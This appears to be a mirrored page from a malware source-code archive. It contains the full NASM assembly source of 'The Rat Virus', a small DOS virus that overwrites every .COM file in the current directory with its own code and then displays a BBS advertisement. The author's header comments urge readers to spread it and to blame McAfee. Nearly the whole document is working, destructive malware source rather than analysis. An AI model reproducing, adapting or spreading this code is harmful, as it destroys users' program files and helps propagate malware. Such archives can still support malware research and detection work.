mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
127 lines
4.8 KiB
NASM
127 lines
4.8 KiB
NASM
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PAGE 59,132
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;*************************************
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;**The Rat Virus - Overwriting **
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;** Non-Resident **
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;** Com File Infector**
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;** Author: -Ajax- **
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;** This virus is 92 bytes long **
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;** Because it is made in 1992 :) **
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;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
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;** Pass this unscannable around to **
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;** Your friends,and tell em McAfee **
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;** sent ya! **
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;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
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;** Underground Asylum-904/688.6494 **
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;**"Replication Is Our Middle Name!"**
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;*************************************
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retf macro ret_count ; Fixup for Assembler
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ifdef ret_count
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db 0CAh
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dw ret_count
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elseif
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db 0CBh
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endif
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endm
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retn macro ret_count
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ifdef ret_count
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db 0C2h
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dw ret_count
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elseif
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db 0C3h
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endif
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endm
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movseg macro reg16, unused, Imm16 ; Fixup for Assembler
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ifidn <reg16>, <bx>
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db 0BBh
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endif
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ifidn <reg16>, <cx>
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db 0B9h
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endif
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ifidn <reg16>, <dx>
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db 0BAh
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endif
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ifidn <reg16>, <si>
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db 0BEh
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endif
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ifidn <reg16>, <di>
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db 0BFh
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endif
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ifidn <reg16>, <bp>
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db 0BDh
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endif
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ifidn <reg16>, <sp>
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db 0BCh
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endif
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ifidn <reg16>, <BX>
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db 0BBH
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endif
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ifidn <reg16>, <CX>
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db 0B9H
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endif
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ifidn <reg16>, <DX>
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db 0BAH
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endif
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ifidn <reg16>, <SI>
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db 0BEH
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endif
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ifidn <reg16>, <DI>
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db 0BFH
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endif
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ifidn <reg16>, <BP>
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db 0BDH
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endif
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ifidn <reg16>, <SP>
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db 0BCH
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endif
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dw seg Imm16
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endm
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location_file equ 9Eh ; location of file in DTA
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h ; Starting of all .COM files
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rat_virus proc far
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start:
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mov ah,4Eh ; fixup for making undetectable
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mov cl,20h ;
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mov dx,offset all_com_files ;
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int 21h ;
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;
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start_infecting:
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mov ax,3D01h ;
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mov dx,Location_file ;
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int 21h ; Open target file.
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mov bx,ax
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mov dx,offset ds:[100h] ; Location of file to write.
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mov cl,5ch ; File size to overwrite.
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mov ah,40h ;
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int 21h ; Write to filename in dx
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;
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mov ah,3Eh ;
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int 21h ;
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;
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mov ah,4Fh ;
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int 21h ;
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;
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jnc start_infecting ; If more files,keep goin
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mov ah,09h ;
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mov dx,offset bbs_ad ; display my bbsad!
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int 21h
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int 20h ; get to dos.
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all_com_files db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h ; data for all com files
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; in current dir..
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bbs_ad db 'Underground Asylum BBS - [904]688.6494$'
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rat_virus endp
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seg_a ends
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end start
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